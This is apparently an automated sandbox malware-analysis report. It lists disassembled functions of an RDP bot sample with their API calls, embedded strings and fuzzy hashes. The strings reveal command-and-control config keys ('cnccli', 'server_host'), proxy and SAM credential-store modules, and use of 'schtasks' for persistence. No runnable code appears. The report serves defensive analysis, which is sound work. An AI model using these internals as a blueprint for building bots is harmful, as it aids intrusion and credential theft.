Opcode Fuzzy Hash: f3b89cb6aefd98be79687eaabfb69af6a5614a3a306acbc797dd2fc7ffb4115a
Instruction Fuzzy Hash: 94414962F086C7A6FA528F58E9417F82351AF007C8F458536DB4D1A596DF3DF986E300

Function 00007FF8BFB58409 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB584FD

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58459, 00007FF8BFB5848C, 00007FF8BFB584BF
version, xrefs: 00007FF8BFB58409, 00007FF8BFB5840D
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB58444, 00007FF8BFB58477, 00007FF8BFB584AA
main, xrefs: 00007FF8BFB5840C
(ini != NULL), xrefs: 00007FF8BFB5844B
ini_get_sec, xrefs: 00007FF8BFB58452, 00007FF8BFB58485, 00007FF8BFB584B8, 00007FF8BFB58516, 00007FF8BFB58554
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFB5851D
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFB5855B
(sec != NULL), xrefs: 00007FF8BFB584B1
NULL, xrefs: 00007FF8BFB58574
(name != NULL), xrefs: 00007FF8BFB5847E

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-693788558
Opcode ID: 0b5434fd82731331c32f89b55454895718f2443e3b4546f6be8949ec3718175f
Instruction ID: 742dd8ba5f68486097fb4edf1a5f10ad994634536fe86cb358ed1482fa22ede2
Opcode Fuzzy Hash: 0b5434fd82731331c32f89b55454895718f2443e3b4546f6be8949ec3718175f
Instruction Fuzzy Hash: 0F412A61A09687A1FA209FD9F960BB8B360BF507C9F445136EB4D0A595DF3CFA96C300

Function 00007FF8BFB8C3C9 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB8C4BD

Strings

NULL, xrefs: 00007FF8BFB8C534
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C419, 00007FF8BFB8C44C, 00007FF8BFB8C47F
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFB8C4DD
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFB8C51B
(ini != NULL), xrefs: 00007FF8BFB8C40B
(sec != NULL), xrefs: 00007FF8BFB8C471
(name != NULL), xrefs: 00007FF8BFB8C43E
server_host, xrefs: 00007FF8BFB8C3C9, 00007FF8BFB8C3CD
ini_get_sec, xrefs: 00007FF8BFB8C412, 00007FF8BFB8C445, 00007FF8BFB8C478, 00007FF8BFB8C4D6, 00007FF8BFB8C514
cnccli, xrefs: 00007FF8BFB8C3CC
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C404, 00007FF8BFB8C437, 00007FF8BFB8C46A

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$cnccli$ini_get_sec$server_host
API String ID: 1004003707-1509792781
Opcode ID: cec21c9f73427ec2da6491224bd564f2f11f16dbc1f39dfadc49aebaa499689f
Instruction ID: 660eefcef5034ac8e8b39a72640d4d9cc1f1a02ce92b75d51c5e348403d12047
Opcode Fuzzy Hash: cec21c9f73427ec2da6491224bd564f2f11f16dbc1f39dfadc49aebaa499689f
Instruction Fuzzy Hash: 2541EBE2A0964795FA209FD8E8417F46350AF843D8F888536DB4D5B5E6DF3DE58AC300

Function 00007FF8BA4F1AAE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BA4F1AC3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA4F1B47
GetProcessHeap.KERNEL32 ref: 00007FF8BA4F1B7E
HeapAlloc.KERNEL32 ref: 00007FF8BA4F1B92

Strings

mem_alloc, xrefs: 00007FF8BA4F1BDE
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BA4F1C16
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BA4F1BE5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F1AEF
ebus_subscribe, xrefs: 00007FF8BA4F1AE8, 00007FF8BA4F1B62, 00007FF8BA4F1C0F
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BA4F1B69
(handler != NULL), xrefs: 00007FF8BA4F1AE1
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BA4F1ADA

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 95db56508a070af681d481542748a3197114f80687e374468034128ed152e278
Instruction ID: d1e1bf473ad42f13a60970cf3596134e9d292aa8526f5a38730b1033be34f1f9
Opcode Fuzzy Hash: 95db56508a070af681d481542748a3197114f80687e374468034128ed152e278
Instruction Fuzzy Hash: 3931FA60A0D603D1FA219B9DEC903B52351AF46BD5F44A0B6CF0D572B4EE2EAA49C300

Function 00007FF8B9151AAE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B9151AC3
LeaveCriticalSection.KERNEL32 ref: 00007FF8B9151B47
GetProcessHeap.KERNEL32 ref: 00007FF8B9151B7E
HeapAlloc.KERNEL32 ref: 00007FF8B9151B92

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9151BE5
(handler != NULL), xrefs: 00007FF8B9151AE1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9151AEF
mem_alloc, xrefs: 00007FF8B9151BDE
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8B9151C16
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8B9151ADA
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8B9151B69
ebus_subscribe, xrefs: 00007FF8B9151AE8, 00007FF8B9151B62, 00007FF8B9151C0F

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 27a32a85cc346afb59106e55f512f4edb1a767274d0ae344b874c7e539677345
Instruction ID: 799effd68652332ccc69ce4f3674460035339f01548c6f7b314710808e2707e1
Opcode Fuzzy Hash: 27a32a85cc346afb59106e55f512f4edb1a767274d0ae344b874c7e539677345
Instruction Fuzzy Hash: D1311764E09A9385FA129F1DE8603B52361AF44BC4F9AC435DB4D1B2A4EF6CF985F300

Function 00007FF8B918F18E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B918F1A3
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918F227
GetProcessHeap.KERNEL32 ref: 00007FF8B918F25E
HeapAlloc.KERNEL32 ref: 00007FF8B918F272

Strings

(handler != NULL), xrefs: 00007FF8B918F1C1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B918F1CF
mem_alloc, xrefs: 00007FF8B918F2BE
ebus_subscribe, xrefs: 00007FF8B918F1C8, 00007FF8B918F242, 00007FF8B918F2EF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B918F2C5
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8B918F1BA
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8B918F2F6
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8B918F249

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 927ebebcac4c7bf28bae6e4b1e331234b1c0fbf7e3075d44c0c1b5d0e5bf19a7
Instruction ID: ad2bfea5774450aa2002049a40baa09234ccdd700e424db7ae88bcff5981aac5
Opcode Fuzzy Hash: 927ebebcac4c7bf28bae6e4b1e331234b1c0fbf7e3075d44c0c1b5d0e5bf19a7
Instruction Fuzzy Hash: D5314169E0DA8781FA549F4CE8807746352AF45BD4FA98031DB0D473A5EF2CE946F390

Function 00007FF8BFB538AE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB538C3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB53947
GetProcessHeap.KERNEL32 ref: 00007FF8BFB5397E
HeapAlloc.KERNEL32 ref: 00007FF8BFB53992

Strings

mem_alloc, xrefs: 00007FF8BFB539DE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB538EF
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BFB538DA
(handler != NULL), xrefs: 00007FF8BFB538E1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BFB53A16
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BFB53969
ebus_subscribe, xrefs: 00007FF8BFB538E8, 00007FF8BFB53962, 00007FF8BFB53A0F
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB539E5

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 4940b5da95d0ae020ec3bfee3c5667328d6dcc69be74491bcb0805f1be78f140
Instruction ID: 6af90cc4b8b3021cbfa118ed8a0c5d89c4f2d72fedbe9bc540b588d1d096dc21
Opcode Fuzzy Hash: 4940b5da95d0ae020ec3bfee3c5667328d6dcc69be74491bcb0805f1be78f140
Instruction Fuzzy Hash: 56310CA2E09607A1FE519BDDE8603B97362AF44BC4F588435DA4E1B7A1EE3CF8558340

Function 00007FF8BFB89D6E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB89D83
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB89E07
GetProcessHeap.KERNEL32 ref: 00007FF8BFB89E3E
HeapAlloc.KERNEL32 ref: 00007FF8BFB89E52

Strings

[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BFB89ED6
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BFB89D9A
(handler != NULL), xrefs: 00007FF8BFB89DA1
mem_alloc, xrefs: 00007FF8BFB89E9E
ebus_subscribe, xrefs: 00007FF8BFB89DA8, 00007FF8BFB89E22, 00007FF8BFB89ECF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB89EA5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB89DAF
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BFB89E29

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 355508e66cb6e762a7e8849211fc4bc2e8f7dfbd30af042564a4fb98cc735545
Instruction ID: 5b66072a1bff8190818ed39ff715ad96b81ae6efc3ba16493f5d8e0044077d6f
Opcode Fuzzy Hash: 355508e66cb6e762a7e8849211fc4bc2e8f7dfbd30af042564a4fb98cc735545
Instruction Fuzzy Hash: 1E310E61F0961791FE109F8DE8407B52791AF84FC5F989535CB4E473A6EE2CA945C340

Function 00007FF8B918785C Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 78COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9187877
GetLastError.KERNEL32 ref: 00007FF8B91878B6

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu), xrefs: 00007FF8B91878C8
, xrefs: 00007FF8B91878D4
Done, xrefs: 00007FF8B918788F
~, xrefs: 00007FF8B9187931
P, xrefs: 00007FF8B9187936
proxy_init, xrefs: 00007FF8B9187896, 00007FF8B91878C1, 00007FF8B918797C
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9187983
[I] (%s) -> %s, xrefs: 00007FF8B918789D

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu)$[I] (%s) -> %s$proxy_init$~
API String ID: 3179112426-3318474754
Opcode ID: 3bf602e0163212c75ed81c57b8ccc5374dcd8ffabe5220b955216cce5e13afa9
Instruction ID: 86d01740d5396e5df4845fb854c92d21b9e2246347f93b25eb4ff050f73164ba
Opcode Fuzzy Hash: 3bf602e0163212c75ed81c57b8ccc5374dcd8ffabe5220b955216cce5e13afa9
Instruction Fuzzy Hash: 8331D650E1C68382FB215F5CA4C03B86294AF063E4F664932C75E462B3DE5DBD85B322

Function 00007FF8B9155A84 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 77COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9155A95
GetLastError.KERNEL32 ref: 00007FF8B9155AD4

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

, xrefs: 00007FF8B9155AF2
Done, xrefs: 00007FF8B9155AAD
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu), xrefs: 00007FF8B9155AE6
[I] (%s) -> %s, xrefs: 00007FF8B9155ABB
P, xrefs: 00007FF8B9155B54
~, xrefs: 00007FF8B9155B4F
sam_init, xrefs: 00007FF8B9155AB4, 00007FF8B9155ADF, 00007FF8B9155B9A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9155BA1

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinfflushfwrite
String ID: $Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_sam) failed(gle=%lu)$[I] (%s) -> %s$sam_init$~
API String ID: 3179112426-2019511216
Opcode ID: bc9b366e1df2dffc722dcc5d192f50d0005bfb0d33aee01d23c5aa0be7fbb622
Instruction ID: 314d58a39b00f78a14d885fedfcd0eb8c61d4e20236455cca1c6c31ad79b8b6f
Opcode Fuzzy Hash: bc9b366e1df2dffc722dcc5d192f50d0005bfb0d33aee01d23c5aa0be7fbb622
Instruction Fuzzy Hash: 1F31E960E0C78782FB215F1CA4D83BD22629F043C4FA65536D70E462A1DE7EB985F751

Function 00007FF8BA4FA060 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BA4FA0FA
strlen.MSVCRT ref: 00007FF8BA4FA116
strlen.MSVCRT ref: 00007FF8BA4FA127
strlen.MSVCRT ref: 00007FF8BA4FA161
strlen.MSVCRT ref: 00007FF8BA4FA17D
strcpy.MSVCRT ref: 00007FF8BA4FA199
strlen.MSVCRT ref: 00007FF8BA4FA1A1
strlen.MSVCRT ref: 00007FF8BA4FA1B0
strlen.MSVCRT ref: 00007FF8BA4FA1C5

Strings

*, xrefs: 00007FF8BA4FA1A6
schtasks, xrefs: 00007FF8BA4FA12F

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: strlen$strcpy
String ID: *$schtasks
API String ID: 2790333442-2394224502
Opcode ID: 49773f8b016588153e9639c0d4cdf904ddd36bceb3f1ef689c3b893e88a01043
Instruction ID: f017f95ccd4d3db41075cf4927f4eaf6275528c8b95376693cd10ad4b39e639a
Opcode Fuzzy Hash: 49773f8b016588153e9639c0d4cdf904ddd36bceb3f1ef689c3b893e88a01043
Instruction Fuzzy Hash: EF512722B4C68385FB619B5DA8953BD5351AB853C0F4920B5EF8E473D6DE3ED9088701

Function 00007FF8BFB3660A Relevance: 16.6, APIs: 7, Strings: 4, Instructions: 104memorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB31C0A: recv.WS2_32 ref: 00007FF8BFB31C32

Sleep.KERNEL32 ref: 00007FF8BFB36662

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB366B5
memcpy.MSVCRT ref: 00007FF8BFB366D1
GetProcessHeap.KERNEL32 ref: 00007FF8BFB366F3
HeapAlloc.KERNEL32 ref: 00007FF8BFB36704
memcpy.MSVCRT ref: 00007FF8BFB36725
EnterCriticalSection.KERNEL32 ref: 00007FF8BFB3677D

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB36684
[D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FF8BFB3676A
routine_rx, xrefs: 00007FF8BFB36763
mem_alloc, xrefs: 00007FF8BFB3667D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: CriticalHeapSectionmemcpy$AllocEnterLeaveProcessSleepfflushfwriterecv
String ID: [D] (%s) -> Got an event(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$routine_rx
API String ID: 3537583691-1494920791
Opcode ID: d542514265604fe80ee2d18cc6880337692ea211fc3233fba6a32265b22876f4
Instruction ID: ce6187fb85f68c21e816d0cc6951bf6f5c68bbff2cc0ac4a4235a3db22c9c354
Opcode Fuzzy Hash: d542514265604fe80ee2d18cc6880337692ea211fc3233fba6a32265b22876f4
Instruction Fuzzy Hash: CD416AA2A88B0282EB109F99E954BBA67A1FB44BD8F544039DF4D43795EF3CE445C700

Function 00007FF6BE0399E2 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00007FF6BE039A8E
fflush.MSVCRT ref: 00007FF6BE039A9A
EnterCriticalSection.KERNEL32(service,000002234F5413D0,?,00007FF6BE0484F0,00007FF6BE0313B7,?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE039AB3
